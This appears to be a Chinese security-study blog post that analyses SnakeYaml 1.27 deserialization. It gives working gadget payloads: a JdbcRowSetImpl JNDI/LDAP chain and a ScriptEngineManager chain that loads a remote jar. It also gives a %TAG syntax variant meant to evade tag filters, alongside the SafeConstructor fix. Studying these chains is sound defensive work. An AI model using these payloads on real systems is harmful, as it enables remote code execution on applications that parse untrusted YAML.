SnakeYaml反序列化漏洞分析学习
SnakeYaml 反序列化漏洞分析学习
依赖:
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
demo:
public class Test {
public static void main(String[] args) {
//yaml序列化
Person person = new Person("zhangsan", 16);
Yaml yaml = new Yaml();
String dump = yaml.dump(person);
System.out.println(dump);
//yaml反序列化
String x = "!!com.kudo.Person {name: lisi, age: 18}";
Object load = yaml.load(x);
System.out.println(load);
}
}
分析:
主要分析反序列化的过程
首先将字符串yaml封装为StreamReader然后调用loadFromReader

再次层层封装进composer,然后通过setComposer方法装进constructor中

调用getSingleData方法通过getSingleNode()获得一个单独节点,判断节点不为空且标签不等于NULL

调用constructDocument()对节点进行转化为java对象,里面又调用了constructObject
protected Object constructObject(Node node) {
return this.constructedObjects.containsKey(node) ? this.constructedObjects.get(node) : this.constructObjectNoCheck(node);
}
此为一个map对应着节点与对应的java对象,此时再进入constructObjectNoCheck

可以通过报错看到recursiveObjects(一个Set集合)代表的应该是无法构造的递归节点,调用getConstructor获取构造器

通过yamlConstructors查找标签头,但这里的Person自然是找不到的。然后yamlMultiConstructors是开发者自定义的,自然也是没有的,最后使用了null对应的构造器,出函数,调用constructor.construct


调用getClassForNode,classForTag自然为null,调用getClassName找类名

返回标签后面的名字然后进行Uri解码,返回com.kudo.Person,随后调用getClassForName

调用forName加载类,然后出函数调用对应null的构造器的newInstance

最后一直调用到此,获取默认的构造器然后初始化

调用constructJavaBean2ndStep,对其中的参数赋值
protected Object constructJavaBean2ndStep(MappingNode node, Object object) {
Constructor.this.flattenMapping(node);
Class<? extends Object> beanType = node.getType();
List<NodeTuple> nodeValue = node.getValue();
Iterator i$ = nodeValue.iterator();
while(i$.hasNext()) {
NodeTuple tuple = (NodeTuple)i$.next();
if (!(tuple.getKeyNode() instanceof ScalarNode)) {
throw new YAMLException("Keys must be scalars but found: " + tuple.getKeyNode());
}
ScalarNode keyNode = (ScalarNode)tuple.getKeyNode();
Node valueNode = tuple.getValueNode();
keyNode.setType(String.class);
String key = (String)Constructor.this.constructObject(keyNode);
try {
TypeDescription memberDescription = (TypeDescription)Constructor.this.typeDefinitions.get(beanType);
Property property = memberDescription == null ? this.getProperty(beanType, key) : memberDescription.getProperty(key);
if (!property.isWritable()) {
throw new YAMLException("No writable property '" + key + "' on class: " + beanType.getName());
}
valueNode.setType(property.getType());
boolean typeDetected = memberDescription != null ? memberDescription.setupPropertyType(key, valueNode) : false;
if (!typeDetected && valueNode.getNodeId() != NodeId.scalar) {
Class<?>[] arguments = property.getActualTypeArguments();
if (arguments != null && arguments.length > 0) {
Class keyType;
if (valueNode.getNodeId() == NodeId.sequence) {
keyType = arguments[0];
SequenceNode snode = (SequenceNode)valueNode;
snode.setListType(keyType);
} else if (Set.class.isAssignableFrom(valueNode.getType())) {
keyType = arguments[0];
MappingNode mnode = (MappingNode)valueNode;
mnode.setOnlyKeyType(keyType);
mnode.setUseClassConstructor(true);
} else if (Map.class.isAssignableFrom(valueNode.getType())) {
keyType = arguments[0];
Class<?> valueType = arguments[1];
MappingNode mnodex = (MappingNode)valueNode;
mnodex.setTypes(keyType, valueType);
mnodex.setUseClassConstructor(true);
}
}
}
Object value = memberDescription != null ? this.newInstance(memberDescription, key, valueNode) : Constructor.this.constructObject(valueNode);
if ((property.getType() == Float.TYPE || property.getType() == Float.class) && value instanceof Double) {
value = ((Double)value).floatValue();
}
if (property.getType() == String.class && Tag.BINARY.equals(valueNode.getTag()) && value instanceof byte[]) {
value = new String((byte[])((byte[])value));
}
if (memberDescription == null || !memberDescription.setProperty(object, key, value)) {
property.set(object, value);
}
} catch (DuplicateKeyException var17) {
DuplicateKeyException ex = var17;
throw ex;
} catch (Exception var18) {
Exception e = var18;
throw new ConstructorException("Cannot create property=" + key + " for JavaBean=" + object, node.getStartMark(), e.getMessage(), valueNode.getStartMark(), e);
}
}
return object;
}
对键值对遍历,然后分别赋值
通过getProperty获取类型
通过constructObject递归调用赋值每一个valuenode,值拿到后,通过property.set赋值


拿到各个属性的set方法,然后调用invoke。我们基本就能够掌握反序列化依靠的是构造方法加上setter方法,接下来学习利用手法


JdbcRowSetImpl链
这个链也是不陌生了
!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://127.0.0.1:8085/oxWLzWEX, autoCommit: true}
简单说下,这个set方法调用达connect会调用connect

出现jndi注入,setDataSourceName赋值即可


ScriptEngineManager链
先学习一下SPI机制
SPI(Service Provider Interface), JDK内置的一种服务提供发现机制。它的利用方式是通过在ClassPath路径下的META-INF/services文件夹下查找文件,自动加载文件中所定义的类
demo:
1.定义服务接口
package com.kudo;
public interface HelloSPI {
public void sayHello();
}
2.实现服务接口(服务提供者):
public class TextHello implements HelloSPI {
public TextHello() {
System.out.println("TextHello 无参构造方法");
}
@Override
public void sayHello() {
System.out.println("Text Hello");
}
}
public class ImageHello implements HelloSPI {
public ImageHello(){
System.out.println("ImageHello 无参构造");
}
@Override
public void sayHello() {
System.out.println("Image Hello");
}
}
3.创建服务提供者配置文件:
META-INF/services目录下,你需要创建一个文件,文件名是服务接口的完全限定名(包名.接口名)
文件内容为,你需要列出所有实现这个接口的服务提供者的完全限定名(包名.类名),每行一个

4. 加载和使用服务提供者:
加载和使用
public class SPIDemo {
public static void main(String[] args) {
ServiceLoader<HelloSPI> serviceLoader = ServiceLoader.load(HelloSPI.class);
for (HelloSPI helloSPI : serviceLoader) {
helloSPI.sayHello();
}
}
}

!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]
这里是通过[]来进行调用有参构造,在Person中通过[]加载Scholl类
String x = "!!com.kudo.Person\n" +
"[!!com.kudo.School {name: wut}]";
Object load = yaml.load(x);
经过调式,他会识别并且同样的反序列化School然后直接调用com.Person类中对应的有参构造方法


所以这个poc的流程是这样的,调用有参构造函数,init中调用initEngines


首先会加载jar包然后通过while()遍历 遍历到Evil时 调用构造函数弹出了计算器

所以我们构造一个实现服务接口的恶意实现类,即如下,然后打成jar包

开启http服务
http://127.0.0.1:8888/ScriptEngineManager_payload.jar
成功攻击

修复
Yaml yaml = new Yaml(new SafeConstructor())
定义反序列化白名单
public SafeConstructor(LoaderOptions loadingConfig) {
super(loadingConfig);
this.yamlConstructors.put(Tag.NULL, new ConstructYamlNull());
this.yamlConstructors.put(Tag.BOOL, new ConstructYamlBool());
this.yamlConstructors.put(Tag.INT, new ConstructYamlInt());
this.yamlConstructors.put(Tag.FLOAT, new ConstructYamlFloat());
this.yamlConstructors.put(Tag.BINARY, new ConstructYamlBinary());
this.yamlConstructors.put(Tag.TIMESTAMP, new ConstructYamlTimestamp());
this.yamlConstructors.put(Tag.OMAP, new ConstructYamlOmap());
this.yamlConstructors.put(Tag.PAIRS, new ConstructYamlPairs());
this.yamlConstructors.put(Tag.SET, new ConstructYamlSet());
this.yamlConstructors.put(Tag.STR, new ConstructYamlStr());
this.yamlConstructors.put(Tag.SEQ, new ConstructYamlSeq());
this.yamlConstructors.put(Tag.MAP, new ConstructYamlMap());
this.yamlConstructors.put((Object)null, undefinedConstructor);
this.yamlClassConstructors.put(NodeId.scalar, undefinedConstructor);
this.yamlClassConstructors.put(NodeId.sequence, undefinedConstructor);
this.yamlClassConstructors.put(NodeId.mapping, undefinedConstructor);
}
绕过
!!代表TAG
!!javax.script.ScriptEngineManager 变为
!<tag:yaml.org,2002:javax.script.ScriptEngineManager>
在yaml中%TAG可以声明一个tag %TAG
%TAG ! tag:yaml.org,2002:
所以可以如下替换
%TAG ! tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://127.0.0.1:8888/ScriptEngineManager_payload.jar"]]]]

浙公网安备 33010602011771号